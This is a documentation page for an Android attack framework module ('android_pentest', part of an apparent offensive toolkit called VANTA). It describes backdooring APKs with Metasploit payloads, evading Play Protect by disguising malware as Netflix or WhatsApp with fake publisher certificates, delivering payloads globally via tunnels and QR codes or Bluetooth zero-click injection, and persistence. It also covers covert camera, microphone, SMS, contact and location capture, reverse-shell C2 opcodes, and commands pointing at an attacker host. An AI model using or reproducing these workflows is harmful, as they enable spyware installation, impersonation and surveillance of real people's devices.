VANTA / android_pentest
Mobile / Android

android_pentest

Comprehensive Android security testing framework. Device reconnaissance, static APK analysis, vulnerability scanning, exploit chaining, Frida instrumentation, and automated backdoor injection via msfvenom.

Version2.4.2
CategoryMobile / Android
Author0xb0rn3
StatusStable
LanguagePython 3
Beginner Startup
New to VANTA? Start here before reading further.
Foundations guide →
What you need first
  • ▸ Android device with USB debugging enabled
  • android-tools (ADB) installed on your machine
  • metasploit installed for payload operations
  • bore installed for WAN delivery operations
Your first safe command
adb devices            # confirm device connected
use android_pentest
set device <serial>
set operation recon    # read-only, no changes
run
Operations by difficulty
  • Easy: recon, list_apps, screen_mirror
  • Medium: backdoor_apk, deploy_shell, frida_hook
  • Advanced: exploit_cve, bt_zero_deliver, cve_chain
Key terms for this module: ADB — connects your computer to the Android device via USB or WiFi. APK — the app file format, like a Windows .exe. Meterpreter — the advanced shell payload VANTA delivers to the device. bore — exposes your handler to the internet without port forwarding. BootReceiver — makes the shell survive device reboots.
              ___
          ,--'   '--.
         /  .'.'.'  \
        |  (o)   (o)  |
        |    '---'    |
         \___________/
     ____|           |____
    |    |___________|    |
    |  ,-'           '-,  |
    | /    .-------.    \ |
    ||    /  ~~~~~ \    ||
    ||   |    /\    |   ||
    ||   |   /  \   |   ||
    ||   |  / ⚙  \  |   ||
    ||   |  \    /  |   ||
    ||    \  ~~~~~ /    ||
    ||     '-------'     ||
    ||___________________||
    |_____________________|
         ||       ||
        /  \     /  \
       '----'   '----'
  
Android Recovery Mode

Overview

android_pentest is a modular Android security testing suite built for the VANTA framework (v0.0.1 "k4ng"). It wraps ADB, apktool, jadx, msfvenom, Frida, and Objection into a single coherent workflow. Each operation targets a specific phase of a pentest engagement.

The module reads a JSON context from stdin (provided by the VANTA shell) and outputs structured JSON findings via a \x00RESULT\x00 sentinel line — separating live terminal output from structured results. All work files are stored in ~/.vanta/android/<serial>/<timestamp>/.

The companion GUI (android_gui.py) exposes every operation in a full-featured web dashboard with real-time SSE terminal output, multi-session tracking, a unified Payload & Delivery panel (build → evade → deliver pipeline in one tab), a dedicated MSF Console tab, session drawer, dual-pane file manager, full PTY shell, live screen/camera/audio streaming, and structured findings viewer. VANTA runs on Go-backed concurrent sessions — multiple operations, tunnels, and MSF handlers run simultaneously.

Quickstart

⚠ Common mistake: set backdoor_apk package com.example.app is wrong. In VANTA, set <key> <value> - the first token after set is always the parameter name. Correct form: set operation backdoor_apk then set package com.example.app.
# 1. Load the module
use android_pentest

# 2. Check available parameters
show options

# 3. Set your operation
set operation recon

# 4. Run (target is ignored for Android - use "connected" or a serial)
run connected

Operations

Set via set operation <name>. Default is recon.

recon
Device fingerprinting - model, Android version, root status, SELinux policy, bootloader, installed apps summary.
app_scan package
Full APK static analysis: manifest, permissions, exported components, secret scanning (AWS keys, tokens, private keys).
vuln_scan
Device and app CVE assessment covering 2019–2025. Checks kernel version, patch level, component exposure.
exploit package
Intent injection, SQL injection on content providers, exported component exploitation.
network package
tcpdump packet capture (root required) + logcat credential leakage analysis per package.
forensics package
Database and SharedPreferences extraction (root), logcat history, ADB backup.
full package
Runs all above operations sequentially and returns a combined report.
frida_hook package
Deploy frida-server, auto-hook target app. SSL unpinning, root bypass, credential dumping, method tracing.
backdoor_apk package or apk_path
Inject a Metasploit payload into an existing APK. Accepts a local APK via apk_path (no device needed) or pulls from a connected device using package. Injection method: msfvenom -x template first; if that fails (e.g. protected APK, large file), automatically falls back to an apktool-merge pipeline (decode → merge smali → inject manifest components → rebuild with 4 GB heap → sign). Signed with vanta_debug.keystore (apksigner/jarsigner). Button label: INJECT. WAN expose runs automatically after injection unless wan_expose=false.
objection_patch package
Embed Frida gadget via Objection — no root needed at runtime. Repackages and signs the APK. Button label: PATCH. WAN expose auto-runs after patching (same as backdoor_apk).
msf_handler
Generate and launch Metasploit multi/handler. Starts msfrpcd for VANTA session management via RPC.
wan_expose
Auto-triggered by backdoor_apk / deploy_shell / objection_patch (default: wan_expose=true). Can also be invoked standalone. Starts a bore tunnel + detached APK HTTP server; falls back to Cloudflare Tunnel if cloudflared is installed. Delivery info (APK URL, tunnel URL, QR) is available in the GUI Delivery tab.
get_root
Multi-vector root acquisition: Magisk su (9 paths), adb root, CVE-2024-0044 run-as bypass, MediaTek mtk-su, KernelSU, su bridge via installed terminal apps.
inject_agent
Push native on-device recon agent (ARM64 binary or shell fallback), execute, receive JSON report via TCP C2 callback.
qr_exploit
CLI: Generate QR codes for payload delivery — APK URL, Android Intent URI, ADB wireless pairing (WIFI:T:ADB;S:…), deeplink, custom string, or wan (bore + HTTP server). GUI: QR/delivery info is displayed in the Delivery tab after any injection op — no need to run qr_exploit separately.
adb_wifi
Enable ADB over TCP/WiFi (adb tcpip 5555) - drops USB cable dependency.
deploy_shell
Generate a fresh msfvenom reverse-shell APK (com.metasploit.stage) and install via adb install -r -t. Button label: INJECT. WAN expose auto-runs after install (same bore + HTTP server flow as backdoor_apk).
persist
Multi-vector persistence: boot receiver shell (no root), Magisk post-fs-data.d (root), Magisk service module, ADB broadcast receiver, ADB WiFi keepalive. Stacks all available methods simultaneously.
exploit_cve cve
Targeted CVE exploitation handler. Set cve=CVE-XXXX-XXXX. Supported: CVE-2024-0044 (Framework LPE), CVE-2024-31317 (Zygote deserialization), CVE-2023-45866 (BT HID injection), CVE-2023-40088 (BT UAF zero-click), CVE-2023-24033 (Exynos baseband RCE), CVE-2023-26072 (Exynos SIP overflow), CVE-2024-43093 (DocumentsUI path traversal), CVE-2025-27363 (FreeType browser RCE), CVE-2023-0266 (ALSA kernel LPE), CVE-2024-53104 (UVC kernel LPE), CVE-2023-21492 (Samsung KASLR leak), CVE-2024-20017 (Samsung WiFi OOB). Optional: show_patched=true to run checks even if device is patched.
full_pwn
Automated 7-step chain: recon → adb_wifi → get_root → device_net_scan → deploy_shell → persist → wan_expose.
multi_device
Run any sub_operation across ALL connected Android devices simultaneously.
device_net_scan
Scan device WiFi IP via netrecon using the android port preset (5555, 5037, 5554, 8080, 8888, 8889). Detects open ADB TCP (port 5555 — tries adb connect and a raw CNXN handshake; grabs device model if authorized), exposed web services, and other attack surface. Reports ADB-TCP-OPEN CRITICAL vulnerability for any open ADB port.
rebuild bore · dex · qr
Build a WAN C2 backdoor APK via build_bootbuddy.py. Injects BootReceiver → AgentService → DexClassLoader chain into any base APK. DexClassLoader fetches s.dex from bore HTTP tunnel at runtime — no static payload in the APK. Generates QR code for WAN delivery. Meterpreter opens on every reboot via bore.pub tunnels.
hook
Three-vector persistence hook: (1) scan Magisk modules mirroring installed apps and append agent launch to their service.sh; (2) start second agent as shell UID 2000 via Magisk su for root-free attribution; (3) build and install LSPosed hook APK or fall back to Magisk zygote-hook module.
unhook
Remove all persistence hooks planted by the hook operation. Reverts Magisk module service.sh injections and uninstalls any hook APKs pushed to the device.
process_inject action target_process
Runtime injection into a running APK process — no device restart needed. Three sub-actions:
  • sniff — enumerate all running processes (PID, PPID, user, state, name); GUI shows live table with 2-second SSE refresh and click-to-target
  • inject — attach to the target process and inject a Java-based reverse shell thread via Frida (inject_mode=frida) or ptrace shellcode loader (inject_mode=ptrace, requires root)
  • persist_only — skip injection, only install persistence vectors into the target package
Frida flow: checks for frida-server on device; if absent, pushes cached binary from agent/frida-server or ~/.vanta/frida-server and starts it. Injects proc_inject.js — a Java Thread that opens a socket to LHOST:LPORT and forks /system/bin/sh, redirecting I/O over the socket.
Persistence vectors (applied when persist=true):
  1. Magisk service.sh — appends agent re-launch command to /data/adb/modules/vanta_hook/service.sh (root required)
  2. BootReceiver smali patch — generates BootReceiver.smali targeting the pulled APK for reinstall (no root)
  3. am broadcast BOOT_COMPLETED — triggers immediate re-execution as root
Parameters: target_process (PID integer or package name), inject_mode (frida|ptrace), lhost, lport, persist (true/false).
cve_chain chain
Run a predefined CVE exploitation chain. Set chain=<name>. 8 built-in chains: bt_to_root (BT HID → Zygote privesc), sandbox_exfil (run-as bypass → root → data dump), zero_click_full (BT zero-click → privesc → exfil), exynos_baseband_rce (Exynos SDP/SIP → Zygote), wifi_zero_click (WiFi OOB → KASLR leak → kernel LPE), freetype_browser (FreeType WebView RCE → DocumentsUI → Zygote), kernel_lpe_chain (Samsung pointer leak → ALSA/UVC kernel LPE), bt_zero_click_exfil (BT UAF → Framework LPE → DocumentsUI data exfil). Optional: lhost, lport for callback steps.
zero_click vector
Probe all zero-click attack surfaces (no user interaction required). Vectors: Bluetooth HID (CVE-2023-45866), NFC NDEF intent dispatch, WiFi broadcast flooding, media parser fuzzing. Set vector=all|bt|nfc|wifi|media. Reports exploitability based on patch level and SDK.
bt_zero_deliver zero-click · delivery
Full zero-click APK delivery chain combining Bluetooth HID injection (CVE-2023-45866) with automatic WAN payload hosting. No device interaction, no pairing required.

Chain:
  1. Generate standalone backdoored APK via msfvenom (or use apk_path)
  2. Serve APK on local HTTP server (serve_port) + expose via bore WAN tunnel → delivery URL
  3. Write MSF multi/handler RC file (bt_deliver_handler.rc)
  4. Connect to target Bluetooth adapter on L2CAP PSM 0x11 (HID ctrl) + PSM 0x13 (HID intr) — no pairing handshake (CVE-2023-45866)
  5. Inject keystrokes: HOME key → 600ms wait → type WAN URL → ENTER → Android browser opens download link

If bt_addr is omitted or the host has no BT adapter, the operation falls back to url_only mode: APK is still served over bore and the delivery URL is emitted for manual sharing (Phase 4a). Set open_method=adb to deliver the URL via ADB intent instead of BT HID (faster, requires ADB connection).

Parameters:
  • bt_addr — target BT MAC (XX:XX:XX:XX:XX:XX). Omit for URL-only mode.
  • apk_path — path to APK. Absent → fresh msfvenom APK generated.
  • payload, lhost, lport — standard MSF payload config.
  • serve_port — local HTTP port (default: 8890). bore_server — relay host.
  • open_methodbrowser (default, HID HOME+type+ENTER) | adb (am start VIEW intent).
  • key_delay — seconds between keystrokes (default: 0.08).

Requires: bluez + hcitool on host; target Bluetooth enabled; patch level < 2023-12-01.
c2_gui
Launch the VANTA web C2 dashboard in your browser. Manages agent sessions, bore WAN tunnels, MSF Meterpreter sessions, QR delivery, live operation runner, and encrypted .scv session logs. Starts before the main operation runs so the GUI is ready for callbacks.
c2_cli
Launch the C2 server in CLI mode (no browser auto-open). Same TCP agent listener and API server as c2_gui, accessed at the printed URL. Useful for headless or remote sessions.
shell
Reverse shell handler: generates a payload via the revshell module and starts a listener. Set lhost and lport. If the target device is connected, attempts automatic payload delivery via ADB.
bypass_play_protect evasion · no device
Repackage a backdoored APK to evade Google Play Protect static signature detection. No device required.

Detection vectors eliminated:
  • com/metasploit/stage/ package path → renamed to a GMS-lookalike (e.g. com/google/android/gms/internal/analytics)
  • android:scheme="metasploit" in manifest → scrubbed entirely
  • Class names Payload, MainService, MainBroadcastReceiver, MainActivity → renamed to DataConnector, AnalyticsService, UpdateReceiver, LaunchActivity
  • Signing certificate CN → replaced with convincing app publisher name (e.g. Netflix Inc., OU=Mobile Apps)
  • Junk decoy class added (com/netflix/analytics/SessionTracker) to alter APK entropy fingerprint

Parameters:
  • apk_path — path to backdoored APK (default: latest ~/.vanta/android/auto/*)
  • app_name — signing cert CN, e.g. Netflix Inc. (default: Netflix Inc.)
  • fake_pkg — override replacement package (default: randomly selected from GMS presets)

Output: <stem>_evade_signed.apk in the same auto dir. APK server delivery link hot-swapped automatically.
Rebuild uses java -Xmx4g -jar apktool.jar directly (bypasses wrapper 256M cap). Signs with v2+v3 scheme via apksigner.
customize_apk customization · no device
Patch a (backdoored) APK with a custom icon, app label, and package/applicationId. No device required.

What gets patched:
  • Icon — scaled with Pillow (PIL) to all 6 mipmap density buckets: ldpi 36px, mdpi 48px, hdpi 72px, xhdpi 96px, xxhdpi 144px, xxxhdpi 192px. Round icon and adaptive foreground icon patched too. Accepts local PNG/JPG or HTTPS URL (auto-fetched via curl). Falls back to ImageMagick convert if PIL not installed.
  • App labelapp_name string in res/values/strings.xml across all language variants
  • Package / applicationIdpackage= attribute in AndroidManifest.xml + all cross-references in smali + component class names

Parameters:
  • apk_path — source APK (default: latest evade APK or merged signed)
  • app_label — launcher name shown to user (e.g. WhatsApp, Netflix)
  • package_name — new applicationId (e.g. com.netflix.mediastream) — use a unique ID to avoid conflicts with the real app
  • icon_path — local path or HTTPS URL to PNG/JPG icon image
  • output_name — custom output filename (e.g. Netflix_v8.114.apk)

Output APK is hot-swapped into the APK server delivery link (Netflix_patched.apk symlink updated). Signed with the evade keystore (CN matching app) if available, else debug keystore.

⚠ Use a package ID that does not match the real app (e.g. com.netflix.mediastream not com.netflix.mediaclient) so both can coexist on the device without a conflict error.
screen_mirror live · adb or msf
Real-time device screen mirror directly in the browser. Two independent source paths selectable via source parameter:

  • ADB (source=adb) — streams a continuous MJPEG feed via adb exec-out screenrecord --output-format=h264 | ffmpeg … -f image2pipe -vcodec mjpeg pipe:1. Real-time, ~30fps. Requires ffmpeg. Fallback: screencap loop MJPEG if ffmpeg unavailable.
  • MSF (source=msf) — polling mode: every 3 seconds, writes an MSF RC file (sessions -i N; screenshot -p /tmp/vanta_screen.png; exit), runs msfconsole -q -r, serves the resulting PNG. Slower but works over any Meterpreter session with no direct ADB access.

The GUI Live Media tab auto-detects screen dimensions via adb shell wm size and sets the mirror container height to match the device aspect ratio (capped at 72% of window height). A source badge indicates which path is active. The ⟳ Size button re-queries dimensions. MSF session number input appears automatically when MSF source is selected.

Parameters: source (adb|msf), serial (ADB device serial), msf_session (MSF session ID for msf path).
camera_snap still · adb or msf
Capture a still image from the device camera. Two paths:
  • ADB — opens camera app via am start -a android.media.action.STILL_IMAGE_CAMERA, screencaps the preview, returns the frame.
  • MSF — runs webcam_snap -i <cam_id> in an MSF RC file, serves the resulting JPEG.
Parameters: source (adb|msf), cam_id (camera index, default 0 = rear), serial, msf_session.
camera_stream live · adb or msf
Live camera stream in the browser. ADB path opens the camera app and runs a screencap loop, serving frames as MJPEG (same multipart boundary protocol as screen_mirror). MSF path uses webcam_stream or a screencap proxy depending on Meterpreter capabilities.

Parameters: source (adb|msf), cam_id, serial, msf_session, msf_port (port for MSF webcam stream proxy).
mic_record audio · adb or msf
Record audio from the device microphone. Two paths:
  • ADB — uses tinycap (pushed to device if not present) or audiorecord, streams PCM chunks over ADB, accumulates in _mic_chunks server-side, available for download as WAV.
  • MSF — generates an RC file running sessions -i N; record_mic -d <duration> -f /tmp/vanta_mic.wav; exit, runs msfconsole -q -r, appends the captured WAV chunk to _mic_chunks.
The GUI shows elapsed recording time, a waveform indicator, and a download button when recording stops.

Parameters: source (adb|msf), duration (seconds, default 10), serial, msf_session.
speaker_push audio out · msf
Push an audio file from the host to the device and play it through the device speaker. Workflow: adb push audio file to /sdcard/vanta_spk.<ext>am start an Intent targeting the device media player, or use MSF play_audio if a Meterpreter session is active. The ■ Stop button sends KEYCODE_MEDIA_STOP via ADB input and force-stops known media player packages.

Parameters: audio_path (local file path), serial, msf_session.

GUI Mode

Set mode gui to launch the full Android Pentest web GUI (android_gui.py) — a single-page dashboard that covers every operation in the module, live media streaming, full PTY terminal, dual-pane file manager, structured findings viewer, and an interactive Meterpreter console. Served on http://localhost:8897 and opens automatically in your browser. The HTTP server is multi-threaded (ThreadingHTTPServer) so screen streaming, SSE streams, PTY I/O, and API calls all run concurrently without blocking each other.

# Launch full GUI
use android_pentest
set mode gui
run

# Custom port
set mode gui
set gui_port 9000
run

Sessions Bar & Session Manager

The GUI supports concurrent multi-session operation tracking. Every time you click a run button a new session is created. The sessions bar (below the topbar) shows all active and recently completed sessions as colour-coded chips — each with its operation name, elapsed time, and status dot. You can kill any individual session's session or switch context between them without affecting other running operations.

Click the Sessions label, the count badge, or the ≡ manage button to open the Session Drawer — a slide-out panel on the right showing two sections: VANTA Operations (all GUI-launched operations with log/kill actions) and MSF Meterpreter (live Meterpreter sessions fetched from msfconsole via /api/msf/sessions). The drawer also provides quick access to the MSF Console tab and a kill-all button. Sessions refresh every 3 seconds automatically while the GUI is open.

GUI Tabs

TabWhat it does
Operations sidebarAll 30+ operations grouped by category — Recon, Access, Payload, Instrumentation, Persistence, C2, Chains. Every operation includes an inline Target Device selector; choose a specific device or ★ All connected devices to run across every ADB-connected device simultaneously. Injection operations (backdoor_apk, deploy_shell, objection_patch) show an INJECT button; rebuild shows BUILD; all others show RUN.
TerminalSSE-streamed real-time stdout/stderr from every running operation. Full ANSI colour rendering. Toolbar: ⌧ clear, ⌕ find (with next/prev, Ctrl+F shortcut), ↵ wrap toggle, ⬇ scroll toggle, live line counter. Raw JSON result blobs are intercepted by the sentinel and never shown here.
ADB ShellInteractive ADB command input. Prefix shell for on-device shell commands or use bare ADB commands (e.g. devices, pull /sdcard/file .). Output rendered inline with ANSI colour. Tab key sends a completion request (shell autocomplete when a device is connected).
Terminal (PTY)Full pseudo-terminal shell running on the host machine — not the device. Spawned via Python's pty.fork(). Supports sudo password prompts, interactive programs (vim, ssh, bash), tab completion, command history (↑/↓), and Ctrl+C/D/L. Auto-resizes to match the panel dimensions. Dot indicator shows live/inactive state. Click ▶ start shell or switch to this tab to auto-start.
FindingsStructured results parsed from the \x00RESULT\x00 sentinel JSON. Sub-tabs: Summary (counts + key facts), Vulns (filterable vulnerability cards with CRITICAL/HIGH/MEDIUM/LOW badges + CVE references), Device (model, Android version, SDK, arch, root status), Apps (permissions, exported components, secrets, flags), Delivery (APK URL, MSF tunnel, WAN LHOST/LPORT, handler command, ADB install command, QR), Raw JSON (full result dump). Export and clear buttons.
P&D (Payload & Delivery) Unified C2 workflow panel — the primary interface for full payload-to-delivery operation. Inner tabs:

Build — Source APK selector (local file path with auto-fill from ~/.vanta/android/, pull from device by package name, or standalone PoisonIvy-style msfvenom APK). Payload config (reverse_tcp/http/https/bind, LHOST, LPORT). Evasion toggles: Bypass Play Protect (class rename + package rename + junk class), Custom Identity (icon, app label, package name), Convincing Cert CN. One-click BUILD & INJECT chains all enabled operations sequentially.

Deliver — Four delivery method cards:
  • 🔌 ADB USBadb install -r with grant-permissions and auto-launch buttons
  • 📡 ADB Network — wireless ADB (adb connect IP:5555) then install
  • 🏠 LAN HTTP — serve APK on local network HTTP server (configurable port)
  • 🌐 WAN HTTPS — tunnel selector (localhost.run / bore.pub / cloudflared) + expose/stop + QR generation + "update APK site" shortcut
Sessions — Full list of all active/completed VANTA operation sessions (color-coded, elapsed time, operation name, device) and all live MSF Meterpreter sessions. Interact/kill actions for each. Refresh MSF and start handler shortcuts.

QR & Output — Auto-populated delivery URLs (APK download URL, MSF tunnel) with one-click copy/open. ASCII QR codes captured from terminal output. Last operation structured output.
MSF (Console) Full-featured interactive Metasploit console embedded in the GUI. Backed by the same msfconsole process as the Live Media tab MSF panel — both receive all output simultaneously via SSE. Toolbar quick-commands: sessions -l, sessions -i 1, sysinfo, screenshot, shell. Command history (↑/↓ arrow keys). Session counter auto-updates on Meterpreter session opened events. MSF badge (●) lights up on the tab when msfconsole is running or a new session opens. Click ⚡ handler to start a handler directly from this tab — uses LHOST/LPORT from the P&D Build tab.
FilesFull dual-pane file manager. Left pane: host filesystem browser with breadcrumb navigation, file type icons, APK badge, text preview. Right pane: device filesystem via adb shell ls -la. Preview sidebar: file content, metadata, and contextual actions.

Host actions: navigate directories, upload files (drag-or-click), download, copy path, rename, delete, create folders, use in ops (sets apk_path field), decompile APK (runs apktool → shows decoded dir), recompile (apktool build + auto-sign). Device actions: pull files/directories, pull APK by package name, push host file to current device path. Context menus (right-click) on both panes.
Setup / DepsReal-time dependency check for all required tools. Global settings (LHOST, LPORT, bore server, NVD key, C2 host/port) with auto-detect LHOST. Settings are persisted in memory and applied to all subsequent operations.
C2 DashboardEmbeds c2_gui.py as an iframe. Auto-starts C2 in background on a configurable port. Manages agent sessions, bore WAN tunnels, MSF Meterpreter sessions, and encrypted .scv session logs.
Live MediaReal-time screen mirror (MJPEG), camera feed (snap + MSF webcam_stream proxy), microphone recording (tinycap WAV chunks), speaker push, and interactive MSF console. See Live Media.
CVE Dedicated CVE vulnerability assessment and exploitation panel. Three sub-sections:

Check — run vuln_scan against the connected device. Displays a card per detected CVE with severity badge (CRITICAL/HIGH/INFO), patch status (vulnerable / patched), attack vector, PoC availability, and NVD link. Toggle Show patched CVEs to include CVEs that the device patch level covers — displayed at INFO severity with a "patched" label rather than hidden.

Exploit CVE — select a specific CVE from the 12-entry dropdown, view inline description, and run exploit_cve. Result card shows exploit status, steps executed, and outcome (e.g. root shell gained, pointer leaked, service crashed).

Chain — select one of 8 named chains from the dropdown, view inline chain description (step count, CVEs involved), set LHOST/LPORT for callback steps, and run cve_chain. Result renders as a numbered step table with per-step CVE, role, and status. See CVE Check & Chains.

Auto Device Detection

The GUI polls /api/devices every 2 seconds. When a device connects it is immediately added to the dropdown, the topbar badge turns green with a pulsing dot, and a toast notification appears. Disconnects are detected in the same cycle — the badge clears and a fallback device is auto-selected if one remains. The ⚡ reload adb button kills and restarts the ADB server then waits up to 4 seconds for devices to re-enumerate (useful when ADB is stuck). unauthorized devices are surfaced with a warning label rather than hidden — accept the Allow USB debugging dialog on the device and the next poll picks it up as authorized.

Standalone Usage

The GUI can also be started directly without the VANTA shell:

python3 tools/mobile/android/android_gui.py --port 8897
python3 tools/mobile/android/android_gui.py --serial emulator-5554 --no-browser

PTY Shell — Host Terminal

The Terminal tab (not to be confused with the operation Terminal tab) runs a full pseudo-terminal on the host machine. It is entirely separate from ADB — use it to run msfconsole, ssh, vim, or any interactive host-side tool without leaving the browser.

# The PTY shell opens a shell on the host. Example use cases:
sudo msfconsole              # sudo prompts appear inline — type password directly
ssh root@192.168.1.x         # interactive SSH session in the browser
vim ~/.vanta/android/rc.txt   # full screen editor in the PTY output div
bore local 4444 --to bore.pub # start bore tunnel interactively

Live Media

The Live Media tab provides real-time device media access directly in the browser. All streams run in dedicated server threads so they do not block other API calls or operation runs.

Screen Mirror

Streams the device screen as a continuous MJPEG feed. Two paths are used depending on available tools:

PathRequirementPerformance
H.264 pipelineffmpeg installed~15 fps · 720p scaled · JPEG frames via screenrecord --output-format=h264 → ffmpeg pipe
Screencap loopADB only~5 fps · full resolution PNG frames via screencap -p loop

The ⬡ Snap button captures a single PNG and downloads it. The FPS counter updates every second. Endpoint: GET /api/media/screen?serial=<serial>multipart/x-mixed-replace.

Camera

Snap triggers an ADB camera intent and pulls a single frame.
▶ Stream proxies a Meterpreter webcam_stream MJPEG server. Run the following in the Meterpreter console first, then click Stream in the GUI:

# In the Meterpreter Console tab:
sessions -i 1
webcam_stream -l 0.0.0.0 -p 8880
# GUI auto-detects the port from the console output

Available cameras (back, front, depth) are enumerated via GET /api/media/camera/list.

Microphone

Records rolling N-second WAV chunks from the device using tinycap (pulled via ADB). Each chunk is served at GET /api/media/mic/chunk and auto-loaded into the browser's <audio> element. Chunk duration is configurable (3 s / 5 s / 10 s). Up to 30 chunks are retained in memory server-side.

Speaker

Select any audio file (MP3, WAV, OGG) in the browser. The file is base64-encoded, POSTed to /api/media/speaker, pushed to /sdcard/vanta_spk.<ext> via ADB, and played via an Android ACTION_VIEW intent. No root required.

Meterpreter Console

An interactive msfconsole -q subprocess. Output is streamed via SSE to the in-browser terminal with full ANSI colour rendering. Commands are sent via POST to /api/msf/send. Clicking ▶ Start MSF auto-configures a multi/handler for android/meterpreter/reverse_tcp using the saved LHOST/LPORT settings.

Quick commandWhat it does
sessions -lList all active Meterpreter sessions
sessions -i 1Interact with session 1
screenshotCapture device screen via Meterpreter
webcam_snapSingle camera frame
webcam_stream -l 0.0.0.0 -p 8880Start camera MJPEG stream on port 8880
record_mic -d 10Record 10 seconds of microphone audio
play_audio /path/to/audio.mp3Play audio on device speaker
dump_contactsDump device contacts
dump_smsDump SMS messages
geolocateGet GPS coordinates
send_sms -d <num> -t <msg>Send SMS from device

On-Device Native Agent

The agent subsystem (tools/mobile/android/agent/) provides lightweight on-device recon and C2 capabilities without requiring a pre-installed app.

Agent Files

FileDescription
vanta_agent.shPOSIX shell script - works on any Android, no compilation needed
vanta_agent.cNative ARM64 C binary - faster startup, bionic-linked, NDK cross-compile
build.shAuto-detect NDK and cross-compile C agent for arm64-v8a
c2_server.pyStandalone TCP+HTTP C2 server with interactive REPL session management
device_monitor.shContinuous ADB device watcher - detects reboots, verifies persistence, triggers inject_agent automatically

Agent Instruction Opcodes

OpcodeFormatAction
SH:SH:<cmd>Execute arbitrary shell command on device
SHELL:SHELL:host:portReverse shell to attacker (mkfifo + nc, nc -e fallback if available)
ROOT_SHELL:ROOT_SHELL:host:portRoot reverse shell via Magisk/KernelSU su + mkfifo
APK:APK:urlDownload and silently install APK from URL

Standalone C2 Server

# Start C2 (TCP port 8889, HTTP port 8890)
python3 tools/mobile/android/agent/c2_server.py \
  --auto-exploit --lhost 192.168.1.100 --lport 4444

# Interactive REPL commands
sessions                              # list active agent sessions
sh <addr> whoami                    # queue: SH:whoami for next callback
rootshell <addr> 192.168.1.100 4444 # queue: ROOT_SHELL callback
apk <addr> http://attacker/pay.apk  # queue: APK delivery
poll <ip> id                        # HTTP-poll cmd for devices without nc

Device Monitor

device_monitor.sh runs alongside the C2 server and continuously watches adb devices for state transitions. When a device comes online after a reboot it automatically verifies the Magisk module is intact, checks the C2 callback log, and re-runs inject_agent.

# Start monitor (auto-detects attacker IP)
bash tools/mobile/android/device_monitor.sh

# Custom C2 and polling interval
bash tools/mobile/android/device_monitor.sh \
  --c2-port 8889 --c2-host 192.168.1.100 --interval 5
CheckWhat it verifies
C2 callbackGrep C2 callback log for device WiFi IP - confirms agent phoned home post-reboot
Magisk moduleVerify /data/adb/modules/svc_persist/service.sh is present + nc loop running
Agent reconRe-run inject_agent to get fresh CVE/root summary after each reconnect

Payload & Delivery Panel

The P&D tab is the primary C2 workflow surface — a full-height, self-contained panel that replaces the operation params panel when active, giving the entire right-side area to the build-to-deliver pipeline. It has four inner tabs navigated by the top nav bar:

Build tab

Configure and chain all payload construction steps in one screen:

  • Source APK — three modes: Local File (auto-fill from ~/.vanta/android/ or browse), Pull from Device (adb shell pm path + pull), Standalone / PoisonIvy (pure msfvenom APK, no template)
  • Payload config — reverse_tcp / reverse_http / reverse_https / bind_tcp, LHOST (auto-detected), LPORT
  • Evasion & Branding — toggles for Bypass Play Protect (class/package rename + junk), Custom Identity (icon URL/path, app label, package name), Convincing Cert CN
  • BUILD & INJECT — chains backdoor_apk → bypass_play_protect → customize_apk sequentially, waiting for each session to complete before starting the next. Progress tracked via the Sessions bar.
  • ⚡ Start MSF Handler — fires the multi/handler with current LHOST/LPORT in a detached session

Deliver tab

Four delivery method cards — click to select, configure, and fire:

MethodHow it works
🔌 ADB USBadb install -r -g payload.apk — direct cable install. Optional grant-all-permissions and auto-launch post-install.
📡 ADB NetworkEnter target IP, connects via adb connect IP:5555, then installs wirelessly. No cable required once ADB over WiFi is enabled.
🏠 LAN HTTPSpawns a local HTTP file server (configurable port, default 8891). Serves the APK at http://<LHOST>:PORT/. Generates a LAN QR code. Best for same-network delivery.
🌐 WAN HTTPSTunnel selector: localhost.run (SSH HTTPS, port 22, recommended), bore.pub (TCP, random high port), cloudflared (Cloudflare quick-tunnel). Expose/stop buttons, live tunnel URL display, one-click QR generation, "update APK site" to hot-swap the served file after a new build.

Sessions tab

Two live lists — VANTA Operations (color-coded rows, op name, device, elapsed time, status dot, log/kill actions) and MSF Meterpreter (Meterpreter sessions fetched from msfconsole via /api/msf/sessions, with interact and kill buttons). Refresh MSF and start-handler shortcuts. Auto-refreshed every 3 seconds. Mirrors the slide-out Session Drawer accessible from the sessions bar.

QR & Output tab

Auto-populated after any delivery or build: APK download URL, MSF tunnel address, and ASCII QR codes captured from terminal output. One-click copy and open. Last structured operation result displayed inline.

Background aesthetic

The GUI background displays fading source code tattoos — 28 static fragments from the actual session management and payload delivery code (_sessions[sid], msfvenom -x template.apk -p …, adb install -r -t payload.apk, ssh -R 80:localhost:8891 localhost.run, etc.) that fade in, pulse gently at ≤8% opacity, then fade out independently. No motion, no trails — just a lowkey living watermark of the tool's own internals.

WAN Delivery — Getting Your APK to Any Device Globally

WAN delivery lets a target device on any network — cellular, roaming, behind NAT — download the backdoored APK without any port forwarding on your end. VANTA supports three tunnel methods in priority order:

Method 1: localhost.run (Recommended)

localhost.run creates an HTTPS reverse tunnel over SSH to a shared relay. Because it uses port 22 (SSH) outbound, it is never blocked by mobile carriers or corporate firewalls. The relay provides a full HTTPS subdomain — Android Chrome won't block HTTPS APK downloads, unlike HTTP.

# Start APK server (serve from the auto output directory)
cd ~/.vanta/android/auto/<session>/
python3 -m http.server 8891 &

# Tunnel it globally — gives you an https://xxxxx.lhr.life URL
ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=30 \
    -R 80:localhost:8891 localhost.run

# QR encodes the HTTPS APK URL — scan with target device
# https://xxxxxx.lhr.life/Netflix_patched.apk
Anonymous sessions expire — localhost.run rotates the subdomain after ~30 min of inactivity. Create a free account at localhost.run and add your SSH key for persistent custom domains. The VANTA wan_expose operation handles the full lifecycle automatically.

Method 2: bore.pub

bore creates a TCP tunnel on a random high port (30000–65535). Works well on LAN and most office networks but is often blocked by mobile carriers (port ranges outside 80/443/22 are filtered). Use as fallback.

bore local 8891 --to bore.pub   # → http://bore.pub:XXXXX/Netflix_patched.apk
⚠ bore serves plain HTTP on high ports. Android Chrome blocks HTTP APK downloads on Android 10+. Use localhost.run (HTTPS) or serve with a self-signed cert for mobile delivery.

Method 3: cloudflared (Cloudflare Tunnel)

If cloudflared is installed, VANTA falls back to a free Cloudflare quick-tunnel which provides a persistent HTTPS *.trycloudflare.com URL on port 443. Most reliable for long-running sessions.

cloudflared tunnel --url http://localhost:8891

WAN Delivery Comparison

MethodProtocolPort usedCarrier-safeHTTPSPersistence
localhost.runSSH reverse tunnel22✅ Yes✅ Yes~30 min anon / permanent with account
